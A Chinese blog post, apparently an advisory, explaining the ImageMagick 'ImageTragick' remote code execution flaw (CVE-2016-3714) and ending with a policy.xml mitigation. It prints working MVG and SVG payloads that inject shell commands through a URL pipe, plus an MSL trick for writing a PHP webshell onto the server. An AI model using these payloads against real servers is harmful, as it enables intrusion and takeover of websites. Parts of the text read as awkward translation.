ImageMagick图象处理软件存在远程代码执行(CVE-2016-3714)

Northwind  2905天前

      在本周二,ImageMagick披露出了一个严重的0day漏洞,此漏洞允许攻击者通过上传恶意构造的图像文件,在目标服务器执行任意码。Slack安全工程师Ryan Hube发现了这一0day漏洞。

该漏洞存在于ImageMagick,一种广泛使用的图像处理库,PHP,Ruby,Python支持NodeJS,,和十几个其他语言。很多社会媒体和博客网站,以及大量的内容管理系统,直接或间接依赖的基础处理,所以他们可以调整一个最终用户上传的图像。

ImageMagick被许多编程语言所支持,包括Perl,C++,PHP,Python和Ruby等,并被部署在数以百万计的网站,博客,社交媒体平台和流行的内容管理系统(CMS),例如WordPress和Drupal。

该漏洞的利用十分简单,通过上传一个恶意图像到目标Web服务器上,攻击者就可以执行任意代码,窃取重要信息,用户帐户等。

换句话说,只有采用了ImageMagick,且允许用户上传图像的网站,才会受到影响。

ImageMagick团队已经承认了此漏洞,称:最近发布的漏洞报告……包含可能存在的远程代码执行。

虽然该团队还没有公布任何安全补丁,但它建议网站管理者应该在配置文件中添加几行代码去阻止攻击,至少在某些情况下可以防御。

Web管理员同时被建议在文件发送给ImageMagick处理前,检查文件的magic bytes。Magic bytes是一个文件的前几个字节,被用于识别图像类型,例如GIF,JPEG和PNG等。

为了让你更好地了解你将要面对的漏洞,下面提供一个可以瞒过ImageMagick的示例文件:

push graphic-contextviewbox 0 0 640 480fill 'url(https://example.com/image.jpg"|ls "-la)'pop graphic-context

将其保存为任意的扩展名,例如expoit.jpg,然后通过ImageMagick去运行它

convert exploit.jpg out.png

ImageMagick将会去执行嵌入的代码:ls -l命令。

将这条命令替换为其它的恶意命令,将会直接威胁到目标机器,不过你可能会触犯一些法律。

这是另一个例子。如果你能算出一个网站的服务器端代码是如何工作的,以及它存储上传文件,可以将文件从文件夹上传到服务器的文件系统上的任何地方。上传一个webshell,知道它会保存在,列如:/tmp/image.gif  然后上传文件 然后上传这个文件,知道它会被保存在/tmp/msl.txt

<?xml version="1.0" encoding="UTF-8"?><image><read filename="/tmp/image.gif" /><write filename="/var/www/shell.php" />

上传一个图像包含:

push graphic-contextviewbox 0 0 640 480image over 0,0 0,0 'msl:/tmp/msl.txt'popgraphic-context

将会得到 /tmp/image.gifto/var/www/shell.php 

可以看出有有两种攻击方式,一种是直接提供一个URL,里面使用管道接一个命令。

convert 'https://example.com"|ls "-la' out.png

一种是生成特殊的SVG或者MVG图片,里面包含了命令。

exploit.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

exploit.svg
-=-=-=-=-=-=-=-=-
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg&quot;|ls &quot;-la"
x="0" y="0" height="640px" width="480px"/>
</svg>

目前只有修改下修改策略文件进行防御,该漏洞将在ImageMagick 7.0.1-1和6.9.3-10版本中被修补,这些新版本预计将在周末前被公布。

policy.xml

<policymap>  <policy domain="coder" rights="none" pattern="EPHEMERAL" />  <policy domain="coder" rights="none" pattern="URL" />  <policy domain="coder" rights="none" pattern="HTTPS" />  <policy domain="coder" rights="none" pattern="MVG" />  <policy domain="coder" rights="none" pattern="MSL" /></policymap>

最新评论

用户名已经被注册  :  wnvCpgrV
2817天前 回复
用户名已经被注册  :  wnvCpgrV
2816天前 回复
昵称
邮箱
提交评论